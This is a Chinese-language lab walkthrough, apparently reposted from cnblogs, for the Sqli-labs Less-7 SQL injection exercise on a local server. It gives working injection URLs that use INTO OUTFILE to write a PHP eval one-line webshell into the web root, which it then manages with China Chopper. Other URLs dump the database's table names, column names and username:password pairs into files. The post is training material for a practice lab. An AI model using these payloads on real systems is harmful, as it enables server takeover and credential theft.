Sqli-labs Less-7 利用文件导入进行注入

本关的标题是dump into outfile,意思是本关我们利用文件导入的方式进行注入。而在Background-3中我们已经学习了如何利用dump into file。

这里首先还是回到源代码中去。重点放在对id参数的处理和sql语句上,从源代码中可以看到

$id=$_GET[‘id‘];
$sql="SELECT * FROM users WHERE id=((‘$id‘)) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo ‘<font color= "#FFFF00">‘;	
  	echo ‘You are in.... Use outfile......‘;
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo ‘<font color= "#FFFF00">‘;
	echo ‘You have an error in your SQL syntax‘;
	//print_r(mysql_error());
	echo "</font>";  
	}

这里对id参数进行了 ‘))的处理。

那我们这里利用上述提到的文件导入的方式进行演示:

 

首先找到WEB目录的绝对路径

http://127.0.0.1/sql/Less-2/?id=-1%20union%20select%201,@@basedir,@@datadir%20--+

这里投机取巧了,找了个简单题Less-2直接注入拿到路径,方便导出。

Sqli-labs Less-7 利用文件导入进行注入

 

http://127.0.0.1/sql/Less-7/?id=1‘)) union select 1,2,3 into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\uuu.txt" %23

Sqli-labs Less-7 利用文件导入进行注入

上图中显示sql出错了,但是没有关系,我们可以在文件中看到uuu.txt已经生成了。

Sqli-labs Less-7 利用文件导入进行注入

 

像上述background-3中一样,我们可以直接将一句话木马导入进去。

http://127.0.0.1/sql/Less-7/?id=1‘)) union select 1,2,‘<?php @eval($_POST["mima"])?>‘ into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\test.php" --+ 

Sqli-labs Less-7 利用文件导入进行注入

我们可以在文件中看到一句话木马已经导入进去了

Sqli-labs Less-7 利用文件导入进行注入

 

页面访问test.php

Sqli-labs Less-7 利用文件导入进行注入

此时用中国菜刀等webshell管理工具连接即可

Sqli-labs Less-7 利用文件导入进行注入

可以进行文件管理、数据库管理等

Sqli-labs Less-7 利用文件导入进行注入

比如进入文件管理,可以管理服务器上的所有目录的文件

Sqli-labs Less-7 利用文件导入进行注入

其余的不再赘述。

 

还有另一个思路,可以直接将查询语句的结果写入文件中,然后访问此文件即可。

注意这里的文件不能是一个已经存在的文件

 

写入用户,库名,版本号

http://127.0.0.1/sql/Less-7/?id=-1‘)) union select user(),database(),version() into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\1.txt" --+ 

Sqli-labs Less-7 利用文件导入进行注入

 

写入表名

http://127.0.0.1/sql/Less-7/?id=-1‘)) union  select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\2.txt" --+ 

Sqli-labs Less-7 利用文件导入进行注入

 

写入字段名,以users表为例

http://127.0.0.1/sql/Less-7/?id=-1‘))  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\3.txt" --+ 

Sqli-labs Less-7 利用文件导入进行注入

 

写入users表的内容

http://127.0.0.1/sql/Less-7/?id=-1‘))  union select 1,2,group_concat(username,0x3a,password) from users into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\4.txt" --+ 

Sqli-labs Less-7 利用文件导入进行注入

 

来自:https://www.cnblogs.com/lcamry/p/5763105.html

 

Sqli-labs Less-7 利用文件导入进行注入

上一篇:Oracle数据库性能优化的艺术 (文平) 高清PDF扫描版[41M]下载


下一篇:pgsql中的事务隔离